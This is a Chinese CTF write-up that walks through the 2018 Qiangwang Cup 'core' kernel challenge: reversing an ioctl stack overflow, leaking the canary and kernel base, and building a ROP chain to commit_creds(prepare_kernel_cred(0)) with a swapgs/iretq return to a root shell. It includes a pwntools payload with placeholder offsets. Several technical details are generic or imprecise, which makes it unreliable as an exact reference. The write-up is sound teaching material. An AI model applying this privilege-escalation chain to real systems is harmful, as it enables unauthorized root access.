1. 项目概述与背景

“强网杯”是国内网络安全领域一项高水平的实战竞赛,其赛题往往紧跟前沿,对选手的内功要求极高。2018年强网杯的这道 core 赛题,就是一个非常经典的Linux内核模块漏洞利用挑战。它模拟了一个存在栈溢出漏洞的内核模块,要求选手在没有任何符号信息、开启了内核保护机制(如KASLR、SMEP、SMAP)的现代Linux系统上,完成从信息泄露到权限提升(提权)的全过程。这道题之所以经典,是因为它几乎涵盖了内核pwn的所有核心考点:驱动逆向、漏洞定位、内存布局泄露、ROP链构造以及绕过现代内核防护。对于想深入二进制安全,尤其是内核漏洞利用领域的朋友来说,这道题是一个绝佳的“磨刀石”。今天,我就带大家从头到尾,手把手地拆解这道题,不仅复现利用过程,更关键的是讲清楚每一步背后的“为什么”,分享一些实战中容易踩坑的细节。

2. 环境搭建与题目分析

2.1 解题环境准备

工欲善其事,必先利其器。内核漏洞利用的环境比用户态程序要复杂得多,一个稳定、可复现的环境是成功的第一步。我推荐使用 qemu-system-x86_64 来模拟运行题目提供的内核镜像、文件系统和驱动模块。配套的调试工具主要是 gdb ,并通过 gdb 的 target remote 功能连接 qemu 启动的 gdbserver 。这里有一个关键点: 必须使用与目标内核版本匹配的 vmlinux 文件(带调试符号的内核映像) ,否则在 gdb 中无法解析内核符号,调试将寸步难行。通常题目会提供,或者可以从编译内核的源码中获取。

启动脚本大概长这样:

#!/bin/bash
qemu-system-x86_64 \
    -m 256M \
    -kernel ./bzImage \
    -initrd ./core.cpio \
    -append "console=ttyS0 nokaslr root=/dev/ram rdinit=/sbin/init" \
    -cpu kvm64,+smep,+smap \
    -nographic \
    -gdb tcp::1234 \
    -S

注意 -append 参数中的 nokaslr ,这在初期分析时非常重要,它关闭了内核地址空间布局随机化,让每次运行的内核.text段基址固定,便于我们定位函数。 -cpu 参数中的 +smep,+smap 则开启了题目意图考察的保护机制。

2.2 题目逆向与漏洞定位

题目通常会给一个名为 core.ko 的内核模块文件。我们的第一步就是把它扔进逆向工具(如 IDA Pro 或 Ghidra)进行分析。这个模块会通过 module_init 注册一个设备(比如 /proc/core )或一个 ioctl 接口,为用户态程序提供通信通道。

逆向的重点是寻找那些从用户态拷贝数据到内核态的函数,特别是使用了 copy_from_user 但长度控制不当的地方。在这道 core 题中,经过分析,我们会发现一个类似如下的关键函数(伪代码):

static long core_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
    char local_buf[0x40]; // 一个位于内核栈上的缓冲区
    ...
    switch(cmd) {
        case 0x6677889A:
            if (copy_from_user(local_buf, (void __user *)arg, user_controlled_size) != 0) {
                return -EFAULT;
            }
            // 对 local_buf 进行一些操作...
            break;
        ...
    }
}

漏洞点 就在于 copy_from_user 的第三个参数 user_controlled_size 。通过逆向可以发现,这个大小是由用户通过 arg 传递的结构体中的某个字段控制的,并且没有进行有效的边界检查。而目标缓冲区 local_buf 的大小是固定的(例如 0x40 字节)。如果用户传递的大小超过了 local_buf 的容量,就会导致数据溢出到内核栈上,覆盖掉函数返回地址等关键数据,这就是典型的 栈溢出漏洞 。

注意 :内核栈的大小通常很小(在x86_64上一般是16KB或8KB),且与当前进程的内核线程共享。溢出不仅可能覆盖返回地址,还可能破坏栈上保存的寄存器、局部变量,甚至影响到相邻的栈帧,导致内核崩溃(oops或panic)。

3. 利用思路设计与挑战分析

拿到一个栈溢出漏洞,在用户态我们可能直接覆盖返回地址跳转到 shellcode 就行了。但在现代内核环境下,这条路被堵得死死的。我们需要设计一个迂回的策略。

3.1 现代内核保护机制与绕过思路

  1. SMEP (Supervisor Mode Execution Prevention) :CPU级保护,禁止内核态执行用户态内存页的代码。这意味着即使我们把 shellcode 放在用户态并通过溢出跳转过去,也会立刻触发崩溃。
    • 绕过思路 :既然不能执行用户态代码,那我们就执行内核态已有的代码。这就是 ROP (Return-Oriented Programming) 技术。我们需要在内核的 .text 段寻找一系列以 ret 指令结尾的“代码片段”(gadget),将它们串联起来,达到修改权限、执行提权操作的目的。
  2. SMAP (Supervisor Mode Access Prevention) :CPU级保护,禁止内核态访问用户态内存页的数据。这会影响我们使用用户态缓冲区来存储ROP链或中间数据。
    • 绕过思路 :将ROP链直接布置在能够被内核访问的内存区域,比如 内核栈本身 (通过溢出写入),或者通过某些漏洞先泄露一个内核堆/栈地址,然后将数据写入那个已知的内核地址。另一种方法是利用内核中像 swapgs 和 iretq 这样的特殊指令序列,在返回用户态前完成状态切换,但这需要更精密的控制。
  3. KASLR (Kernel Address Space Layout Randomization) :内核镜像加载的基址每次启动都会随机化。我们不知道 gadget 的具体地址。
    • 绕过思路 : 必须先实现一次信息泄露 。我们需要利用驱动提供的另一个功能(比如一个可以读取内核数据的 ioctl 命令),泄露出一个内核指针,例如 内核栈地址 或 内核代码段指针 。通过这个泄露的地址与已知偏移,我们可以计算出当前运行内核的基址,从而推算出所有 gadget 的绝对地址。

3.2 整体利用步骤规划

基于以上分析,我们的攻击链可以规划为以下四步:

  1. 信息泄露 :利用驱动合法的读功能,泄露出一个关键的内核地址(如 canary 或某个函数指针)。
  2. 计算基址 :根据泄露的地址和已知的偏移,计算出内核镜像加载基址,进而得到 commit_creds 、 prepare_kernel_cred 等目标函数以及ROP gadget的地址。
  3. 构造并注入ROP链 :利用栈溢出漏洞,将精心构造的ROP链写入内核栈。ROP链的目标是执行 commit_creds(prepare_kernel_cred(0)) ,将当前进程的权限提升为root。
  4. 状态恢复与返回用户态 :提权成功后,需要恢复被破坏的栈帧,平衡栈指针,并安全地返回到用户态,最终启动一个root权限的shell。

4. 关键环节实现与细节剖析

4.1 信息泄露:获取内核地址

在 core.ko 中,通常还存在另一个 ioctl 命令(例如 0x6677889B ),用于将内核中的某些数据拷贝回用户态。我们需要仔细逆向这个功能。

case 0x6677889B:
    if (copy_to_user((void __user *)arg, some_kernel_data, sizeof(some_kernel_data)) != 0) {
        return -EFAULT;
    }
    break;

这里的 some_kernel_data 可能就是包含栈 canary 或某个函数指针的局部变量或结构体。通过调用这个命令,我们可以获得这个值。 关键技巧 :在调试时,可以在 copy_to_user 处下断点,查看即将被拷贝的数据是什么,确认其是否是一个有价值的泄露点(比如,一个指向内核.text段的地址,或者一个在栈上的地址)。

假设我们泄露了一个 canary 和一个 内核栈地址 。 canary 用于在溢出时保持栈保护不被触发,而 内核栈地址 让我们能准确定位当前溢出栈帧的位置。

4.2 ROP链构造:以 commit_creds(prepare_kernel_cred(0)) 为目标

这是内核提权最经典的“函数组合拳”。 prepare_kernel_cred(0) 创建一个root权限的 cred 结构体, commit_creds() 则将这个结构体应用到当前进程。

在x86_64架构下,函数调用的前六个参数通过寄存器 rdi, rsi, rdx, rcx, r8, r9 传递。因此,我们的ROP链需要:

  1. 将 0 放入 rdi 寄存器( prepare_kernel_cred 的参数)。
  2. 跳转到 prepare_kernel_cred 函数地址。其返回值(新的 cred 结构指针)会存放在 rax 寄存器中。
  3. 将 rax 的值移动到 rdi 寄存器( commit_creds 的参数)。
  4. 跳转到 commit_creds 函数地址。

我们需要寻找以下gadget:

  • pop rdi; ret :用于控制第一个参数。
  • mov rdi, rax; ... ; ret 或 xchg rdi, rax; ret 等:用于传递返回值。有时可能找不到直接的 mov rdi, rax ,可能需要通过其他寄存器中转,例如 pop rdx; mov rdi, rdx; ret 配合一个存储 rax 值的栈位置。

使用 ROPgadget 或 ropper 这样的工具在 vmlinux 中搜索。例如:

ROPgadget --binary ./vmlinux | grep "pop rdi ; ret"

找到gadget后,结合泄露出的内核基址,计算出它们的绝对地址。

4.3 栈布局设计与溢出数据构造

这是最精细的一步。我们需要精确计算溢出数据在栈上的布局。通过调试,在触发溢出的函数入口下断点,查看 local_buf 的地址与返回地址保存位置的偏移。

假设 local_buf 距离栈帧底部(即保存的 RBP 和 RET 地址)有 offset 个字节。那么我们的payload结构如下:

[ 0x40 bytes of filler ] + [ canary ] + [ saved RBP ] + [ ROP Chain ]
  • filler :填满 local_buf 的0x40字节,可以是任意值。
  • canary :我们之前泄露出来的值,必须原封不动地写回去,否则函数返回前检查 canary 时会发现被修改,触发 stack-protector 导致崩溃。
  • saved RBP :可以覆盖为一个可控的、不会导致崩溃的值,通常可以覆盖为 0 或者一个用户态地址(但要注意SMAP)。有时为了简化,也可以填充为无意义数据。
  • ROP Chain :从返回地址的位置开始写入。第一个地址就是 pop rdi; ret gadget的地址。

一个具体的payload构造示例(假设偏移已计算好):

from pwn import *

# 假设通过泄露计算出的地址
kernel_base = 0xffffffff81000000
pop_rdi_ret = kernel_base + 0xdeadbeef
prepare_kernel_cred = kernel_base + 0xbeefdead
commit_creds = kernel_base + 0xcafebabe
# 假设找到了一个 `mov rdi, rax; pop rbp; ret` 的gadget
mov_rdi_rax_pop_rbp_ret = kernel_base + 0x12345678

# 构造payload
payload = b'A' * 0x40            # 填充 local_buf
payload += p64(canary)            # 正确的 canary
payload += p64(0)                 # 覆盖 saved rbp (可忽略)
payload += p64(pop_rdi_ret)       # gadget 1: pop rdi; ret
payload += p64(0)                 # rdi = 0
payload += p64(prepare_kernel_cred) # 调用 prepare_kernel_cred(0)
payload += p64(mov_rdi_rax_pop_rbp_ret) # gadget 2: 将rax(cred)移到rdi, 并pop rbp
payload += p64(0)                 # 填充 pop rbp 所需的栈空间
payload += p64(commit_creds)      # 调用 commit_creds(rdi)
payload += p64(0xffffffff81e00b10) # 一个常见的 `swapgs; ret` gadget地址,用于恢复状态
payload += p64(0xffffffff810202d8) # 一个常见的 `iretq` gadget地址
# iretq 需要从栈上弹出: RIP|CS|RFLAGS|SP|SS
# 这里需要布置返回用户态后的地址,例如一个执行 system("/bin/sh") 的用户态函数地址
payload += p64(userland_shell)    # RIP: 用户态shell代码地址
payload += p64(0x33)              # CS: 用户态代码段选择子
payload += p64(0x246)             # RFLAGS: 中断标志,一般保持原样或设为0x202
payload += p64(userland_stack)    # RSP: 用户态栈指针
payload += p64(0x2b)              # SS: 用户态数据段选择子

4.4 状态恢复与返回用户态

执行完 commit_creds 后,内核当前处于异常上下文。我们不能简单地 ret 回一个地址,因为栈可能已经不平衡,且CPU仍处于内核模式。我们需要借助两个特殊的gadget:

  1. swapgs; ret : swapgs 指令交换 GS 寄存器的内核基址和用户态基址。在内核入口时, GS 被设置为指向内核数据结构;在返回用户态前,需要交换回来。
  2. iretq; ret : iretq (中断返回)指令用于从中断或系统调用处理程序返回到用户态。它会从栈上依次弹出 RIP, CS, RFLAGS, RSP, SS 。我们需要在栈上提前布置好这些值,其中 RIP 指向我们用户态准备好的获取shell的代码(比如一个调用 system("/bin/sh") 的函数), RSP 指向一个有效的用户态栈地址。

5. 完整利用脚本与调试技巧

5.1 利用脚本框架

一个完整的利用脚本(使用 pwntools )会包含以下部分:

#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

# 1. 连接与初始化
io = process(['./start.sh']) # 或 remote('靶机', 端口)
# 或者通过题目给的启动脚本启动

# 2. 信息泄露
def leak():
    # 调用泄露功能的ioctl
    # 接收数据并解析出内核地址和canary
    global kernel_base, canary, kernel_stack_addr
    # ... 具体操作
    pass

# 3. 计算gadget地址
def calc_gadgets():
    # 基于泄露的地址计算基址,然后加上gadget偏移
    # ... 具体计算
    pass

# 4. 构造并发送溢出payload
def exploit():
    payload = construct_payload()
    # 调用存在溢出漏洞的ioctl,发送超长payload
    io.send(payload)

# 5. 返回用户态后获取shell
def get_shell():
    # 布置用户态的shellcode,例如通过mmap分配可执行内存
    shellcode = asm(shellcraft.amd64.linux.sh())
    # 将shellcode地址布置到iretq帧的RIP中
    # ...

if __name__ == '__main__':
    leak()
    calc_gadgets()
    exploit()
    # 触发漏洞后,进程会跳转到我们布置的用户态shellcode
    io.interactive()

5.2 调试技巧与常见问题

  1. 内核崩溃分析 :如果利用失败导致内核 panic , qemu 会输出崩溃信息。关注 RIP 寄存器指向的地址和调用栈( Call Trace )。这能帮你判断是跳转到了错误地址,还是执行了非法指令。
  2. GDB调试技巧 :
    • lx-symbols :在 gdb 中加载内核符号后,使用 lx-symbols 命令可以自动加载所有内核模块的符号,对于分析 core.ko 非常有用。
    • pt-regs :当断点命中在内核函数时,可以使用 pt-regs 命令打印出当前中断帧的所有寄存器,这对于理解函数调用上下文至关重要。
    • 在溢出点下断点 :在 copy_from_user 调用之前下断点,单步执行,观察栈布局,精确计算偏移。
  3. Canary验证失败 :这是最常见的问题。确保你泄露的 canary 是正确的,并且在payload中放置的位置完全对应它在栈上的原始位置。 canary 的最低字节通常是 \x00 (空字节),用于防止字符串操作误泄 ,在构造payload时要注意不能截断。
  4. SMEP/SMAP违规 :如果 dmesg 或崩溃信息中出现 smep 或 smap 相关提示,说明你的ROP链尝试执行了用户态内存(SMEP)或者访问了用户态数据(SMAP)。检查你的gadget地址是否都在内核 .text 段,以及ROP链操作的数据是否都在内核地址空间。
  5. 栈对齐问题 :x86_64架构在调用函数时,要求栈指针 RSP 在调用 call 指令前是16字节对齐的(即 RSP % 16 == 0 )。在构造ROP链时,如果 ret 到的gadget不是通过 call 进入的,可能不需要严格对齐,但为了稳定,最好在关键函数调用前通过 ret 到一个只包含 ret 指令的gadget来调整栈对齐。

6. 总结与经验之谈

这道“强网杯core”赛题,虽然只是一个CTF题目,但它完美地浓缩了现实世界中Linux内核栈溢出漏洞利用的核心技术链条。从信息泄露绕过KASLR,到ROP构造绕过SMEP/SMAP,再到精细的栈布局和状态恢复,每一步都考验着漏洞利用工程师的基本功。

在实际漏洞挖掘和利用中,情况往往更复杂:漏洞可能不是简单的线性溢出,可能是竞争条件、整数溢出导致的大小计算错误;目标系统可能还有 KPTI (页表隔离)、 CFI (控制流完整性)等更高级的防护;可用的gadget可能非常有限,需要更巧妙的链式构造。

我个人的体会是,内核漏洞利用就像在瓷器店里打斗,力量大了(覆盖错了数据)整个系统就崩了,力量小了(利用不完整)又达不到效果。它要求你对计算机体系结构、操作系统原理有深刻的理解,同时又要具备像外科医生一样的精细操作能力。多调试、多分析崩溃日志、多阅读优秀的漏洞利用案例(如CVE分析),是提升这项技能的唯一途径。最后, 永远在隔离的虚拟机或专用硬件中进行实验 ,内核崩溃是家常便饭,不要在你的开发机上直接尝试。

Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐